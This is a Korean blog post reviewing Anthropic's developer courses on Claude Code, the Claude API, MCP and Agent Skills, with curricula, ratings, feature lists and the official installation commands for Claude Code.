&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUkl7M/dJMcab4n55A/jKhpwrKt8E75FJrIhRCR3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUkl7M/dJMcab4n55A/jKhpwrKt8E75FJrIhRCR3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUkl7M/dJMcab4n55A/jKhpwrKt8E75FJrIhRCR3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUkl7M%2FdJMcab4n55A%2FjKhpwrKt8E75FJrIhRCR3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1436&quot; height=&quot;614&quot; data-origin-width=&quot;1436&quot; data-origin-height=&quot;614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 개발자 필수 코스 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 개발자 필수 코스 심층 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;① Claude Code in Action&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code in Action&lt;/b&gt;은 개발자가 실제 개발 워크플로우에 Claude Code를 통합하는 방법을 다루는 실전 과정이다. 4개 모듈 21개 레슨, 약 3시간 분량으로 구성된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; Coursera 평점 90.47% (5점 만점)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Coursera 수강생 5,969명+ (2026년 3월 기준) &amp;middot; 5점 평가 비율 90.47% &amp;mdash; 개발자 과정 중 가장 높은 만족도&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4개 모듈 커리큘럼:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 1 - Claude Code 소개:&lt;/b&gt; Claude Code의 목적, 다양한 작업 활용법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 2 - 개발 워크플로우:&lt;/b&gt; 파일 읽기&amp;middot;명령 실행&amp;middot;코드 수정, 컨텍스트 관리, 커스텀 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 3 - 확장 및 통합:&lt;/b&gt; Hooks로 기능 확장, MCP 서버 연결, GitHub 자동 코드 리뷰, Claude Code SDK&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 4 - 마무리:&lt;/b&gt; 학습 내용 정리 및 수료&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 커리큘럼 번역한 화면&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1714&quot; data-origin-height=&quot;2224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIDGn6/dJMcaaxFaIg/yd5sG3DbJQG8gqnNzmCc51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIDGn6/dJMcaaxFaIg/yd5sG3DbJQG8gqnNzmCc51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIDGn6/dJMcaaxFaIg/yd5sG3DbJQG8gqnNzmCc51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIDGn6%2FdJMcaaxFaIg%2Fyd5sG3DbJQG8gqnNzmCc51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1714&quot; height=&quot;2224&quot; data-origin-width=&quot;1714&quot; data-origin-height=&quot;2224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 터미널, VS Code, JetBrains IDE, 데스크톱 앱, 웹 브라우저, iOS 앱 등 다양한 환경에서 사용할 수 있는 AI 코딩 어시스턴트다. 코드베이스 전체를 이해하고 여러 파일에 걸쳐 작업을 수행할 수 있다는 점이 핵심이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 다음과 같이 영상 + 문서 강의 형식&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsAgKG/dJMcaivEeS8/TmSwDoGK7LuNClBKUSXzAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsAgKG/dJMcaivEeS8/TmSwDoGK7LuNClBKUSXzAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsAgKG/dJMcaivEeS8/TmSwDoGK7LuNClBKUSXzAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsAgKG%2FdJMcaivEeS8%2FTmSwDoGK7LuNClBKUSXzAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2152&quot; height=&quot;1068&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1624&quot; data-origin-height=&quot;2362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dOUwgV/dJMcai3sKps/aegso5PYFkkhUL5fCIy900/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dOUwgV/dJMcai3sKps/aegso5PYFkkhUL5fCIy900/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dOUwgV/dJMcai3sKps/aegso5PYFkkhUL5fCIy900/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdOUwgV%2FdJMcai3sKps%2Faegso5PYFkkhUL5fCIy900%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1624&quot; height=&quot;2362&quot; data-origin-width=&quot;1624&quot; data-origin-height=&quot;2362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 다행히 문서화도 되어있어서 우클릭하여 한글 번역본으로 학습도 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;1954&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bumoIw/dJMcahcsPxM/u2WCVVBcPgoKKE1k70Bk2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bumoIw/dJMcahcsPxM/u2WCVVBcPgoKKE1k70Bk2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bumoIw/dJMcahcsPxM/u2WCVVBcPgoKKE1k70Bk2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbumoIw%2FdJMcahcsPxM%2Fu2WCVVBcPgoKKE1k70Bk2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1102&quot; height=&quot;1954&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;1954&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;!!!&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 사실 지금 어느정도 클로드 코드를 이미 잘 사용하시고 있는 분들이 보기에는 재미 없고, 흥미롭지 않은 교육일 수 있다. ( 이 강의 보다 더 양질의 무료 교육들도 많은 것도 사실이다. ) 다만, 클로드 코드에 대해 아직 잘 모르시는 분들이 보면 좋을 것 같기도 하고, 사실 생각보다 클로드 코드 공식문서, 교육 자료를 쭉 따라가다보면 얻게되는 인사이트가 많다고 생각 하고, 이에 공감하시는 분들은 쭉 한번 보시는것도 좋을 것 같다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code의 주요 기능 (공식 문서 기준):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자동화:&lt;/b&gt; 테스트 작성, lint 오류 수정, 의존성 업데이트, 릴리스 노트 작성 등 반복 작업 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기능 개발 &amp;amp; 버그 수정:&lt;/b&gt; 자연어로 설명하면 코드 작성 및 검증까지 수행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Git 연동:&lt;/b&gt; 스테이징, 커밋 메시지 작성, 브랜치 생성, PR 오픈 등 Git 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP 연결:&lt;/b&gt; Google Drive, Jira, Slack, Figma 등 외부 도구 연동&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CLAUDE.md:&lt;/b&gt; 프로젝트 루트에 두면 매 세션마다 코딩 표준, 아키텍처 결정사항 등을 자동으로 읽음 (managed policy / project / user / local 4가지 레벨)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Auto Memory:&lt;/b&gt; 세션 간 학습 내용을 Claude가 자동으로 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/MEMORY.md&lt;/code&gt;에 저장 (200줄 제한)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Skills (커스텀 슬래시 커맨드):&lt;/b&gt; &lt;code&gt;SKILL.md&lt;/code&gt; 파일로 &lt;code&gt;/review-pr&lt;/code&gt;, &lt;code&gt;/deploy-staging&lt;/code&gt; 같은 팀 공유 워크플로우 패키징. 빌트인 스킬로 &lt;code&gt;/simplify&lt;/code&gt;(코드 정리), &lt;code&gt;/batch&lt;/code&gt;(대규모 병렬 변경), &lt;code&gt;/debug&lt;/code&gt;(세션 분석) 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Sub-agents:&lt;/b&gt; 탐색&amp;middot;분석 전용 Explore(Haiku), 플래닝 전용 Plan(상속: Sonnet), 범용 general-purpose(상속: Sonnet) 빌트인 에이전트 + &lt;code&gt;.claude/agents/&lt;/code&gt;에 커스텀 에이전트 정의 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Agent Teams (실험적):&lt;/b&gt; 여러 Claude Code 인스턴스가 공유 태스크 목록으로 협업. 상호 직접 메시지 전송 가능 (서브에이전트와 다르게 peer-to-peer 통신)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Remote Control:&lt;/b&gt; 모바일이나 다른 기기에서 로컬 세션 원격 제어 (Pro/Max 구독 필요)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Slack 연동:&lt;/b&gt; Slack에서 @Claude 멘션으로 PR 자동 생성 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Chrome 확장:&lt;/b&gt; 라이브 웹 애플리케이션 디버깅 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설치 방법 (공식 문서 기준):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# macOS / Linux / WSL (네이티브 설치 - 권장, 자동 업데이트 지원)
curl -fsSL https://claude.ai/install.sh | bash

# Homebrew (자동 업데이트 미지원 - 수동 업그레이드 필요)
brew install --cask claude-code

# Windows PowerShell (네이티브 설치)
irm https://claude.ai/install.ps1 | iex

# Windows CMD
curl -fsSL https://claude.ai/install.cmd -o install.cmd &amp;amp;&amp;amp; install.cmd &amp;amp;&amp;amp; del install.cmd

# WinGet (자동 업데이트 미지원)
winget install Anthropic.ClaudeCode&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 설치 방법별 특징&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;네이티브 설치(curl/PowerShell)는 백그라운드에서 자동 업데이트가 된다.&lt;br /&gt;Homebrew/WinGet은 자동 업데이트가 되지 않으므로 주기적으로 직접 업그레이드해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;② Building with the Claude API&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Building with the Claude API&lt;/b&gt;는 Anthropic 모델을 활용한 애플리케이션 개발의 전 과정을 다루는 종합 코스다. 기초 API 호출부터 RAG, 자율 에이전트까지 총 7개 모듈, 약 13시간 분량으로 구성된 가장 포괄적인 개발자 과정이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 코스 규모&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Coursera 수강생 5,950명+ (2026년 3월 기준) &amp;middot; 평점: 5점 80.64%, 4점 12.90%&lt;br /&gt;예상 소요: 약 13시간 &amp;middot; 사전 요구사항: Python 기초 지식&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7개 모듈 커리큘럼:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 1 - API 기초:&lt;/b&gt; Claude 모델 선택, 인증, 요청&amp;middot;응답 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 2 - 프롬프트 엔지니어링:&lt;/b&gt; 평가 파이프라인, 자동화 채점, 테스트 데이터셋 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 3 - 고급 기능:&lt;/b&gt; Extended Thinking (복잡 추론), 이미지&amp;middot;PDF 처리 (멀티모달), 프롬프트 캐싱, 도구 호출 (Tool Use)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 4 - MCP:&lt;/b&gt; MCP 서버&amp;middot;클라이언트 구축, 재사용 가능한 통합 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 5 - RAG:&lt;/b&gt; 문서&amp;middot;데이터에서 관련 정보 검색, 대규모 문서 컬렉션 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 6 - Claude Code &amp;amp; Computer Use:&lt;/b&gt; Claude Code로 개발 작업 가속, Computer Use로 UI 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Module 7 - 에이전트 워크플로우:&lt;/b&gt; Parallelization(병렬), Chaining(체이닝), Routing(조건부 분기) 패턴&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근 방법:&lt;/b&gt; Anthropic Console (console.anthropic.com), Amazon Bedrock, Google Cloud Vertex AI&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude 모델:&lt;/b&gt; claude-opus-4-6 (복잡한 분석), claude-sonnet-4-6 (일반 개발), claude-haiku-4-5-20251001 (경량 작업)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이 코스를 추천하는 대상&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude를 단순히 사용하는 것을 넘어 &lt;b&gt;자체 서비스나 앱에 Claude를 통합&lt;/b&gt;하려는 개발자에게 특히 유용하다. 챗봇, 문서 처리, 코드 리뷰 자동화, RAG 기반 검색, 자율 에이전트 등 다양한 비즈니스 애플리케이션을 구축하는 데 필요한 지식을 제공한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;③ Introduction to Model Context Protocol (MCP 입문)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Model Context Protocol(MCP)&lt;/b&gt;은 Anthropic이 개발하고 공개한 오픈소스 표준으로, AI 애플리케이션과 외부 시스템을 연결하는 표준화된 방법이다. (출처: modelcontextprotocol.io 공식 문서)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP를 한 문장으로&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;AI를 위한 USB-C 포트&quot;&lt;/b&gt;&lt;/span&gt;다. USB-C가 다양한 기기를 하나의 표준 방식으로 연결하듯, MCP는 AI 애플리케이션이 다양한 외부 데이터소스와 도구에 표준화된 방식으로 연결되도록 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP가 가능하게 하는 것들 (공식 문서 기준):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Google Calendar와 Notion에 접근하는 개인화된 AI 어시스턴트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Figma 디자인을 바탕으로 전체 웹앱을 생성하는 Claude Code&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;조직 내 여러 데이터베이스에 연결하는 기업용 챗봇&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Blender에서 3D 디자인을 생성하고 3D 프린터로 출력하는 AI 모델&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP의 세 가지 연결 유형:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데이터 소스:&lt;/b&gt; 로컬 파일, 데이터베이스 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;도구:&lt;/b&gt; 검색 엔진, 계산기 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;워크플로우:&lt;/b&gt; 특화된 프롬프트 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 입문 코스는 MCP의 기본 개념과 아키텍처를 이해하고, 첫 번째 MCP 서버를 구축하는 것을 목표로 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;입문 커리큘럼 주요 주제:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP 아키텍처:&lt;/b&gt; Host, Client, Server 3-레이어 구조 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP 서버 구축:&lt;/b&gt; 첫 번째 MCP 서버 개발 실습 (Python/TypeScript SDK)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;리소스&amp;middot;도구&amp;middot;프롬프트:&lt;/b&gt; MCP의 3가지 핵심 프리미티브 (Resources, Tools, Prompts)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude Desktop 통합:&lt;/b&gt; 로컬 MCP 서버를 Claude Desktop에 연결하는 방법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP 클라이언트 개발:&lt;/b&gt; MCP 서버와 통신하는 클라이언트 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;④ Model Context Protocol: Advanced Topics (MCP 고급)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 입문을 마친 후 수강하는 고급 과정이다. 프로덕션 환경에서의 복잡한 MCP 통합 패턴을 다루며, 업계에서 가장 체계적인 MCP 심화 교육으로 평가된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;심화 커리큘럼:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Sampling:&lt;/b&gt; MCP 서버가 Claude를 역방향으로 재호출하는 고급 패턴&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Notifications:&lt;/b&gt; 실시간 서버-클라이언트 업데이트 구현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;File System Access:&lt;/b&gt; MCP를 통한 파일 읽기&amp;middot;쓰기 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Transport Mechanisms:&lt;/b&gt; 다양한 전송 메커니즘과 프로토콜 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;프로덕션 배포 패턴:&lt;/b&gt; 실제 운영 환경에서의 MCP 서버 배포 전략&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP 입문 &amp;rarr; MCP 고급 순서로 수강 권장&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;두 코스는 시리즈로 연결되어 있다. MCP 개념이 처음이라면 입문 과정부터 시작하는 것을 권장한다. MCP 입문 &amp;rarr; MCP 고급의 2단계 프로그레션은 현재 업계에서 가장 체계적인 MCP 교육 커리큘럼이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ Introduction to Agent Skills&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Introduction to Agent Skills&lt;/b&gt;는 Claude Code의 에이전트 시스템을 심층적으로 다루는 과정이다. 커스텀 스킬(명령어) 생성부터 멀티 에이전트 워크플로우 구축, CI/CD 자동화까지 프로덕션 수준의 에이전트 시스템을 구축하는 방법을 배운다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; Skills (커스텀 슬래시 커맨드)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skills는 반복적인 팀 워크플로우를 &lt;code&gt;SKILL.md&lt;/code&gt; 파일로 패키징하여 커스텀 슬래시 커맨드로 등록하는 기능이다. 팀 전체가 동일한 명령어를 사용할 수 있어 일관된 워크플로우를 유지할 수 있다.&lt;/p&gt;
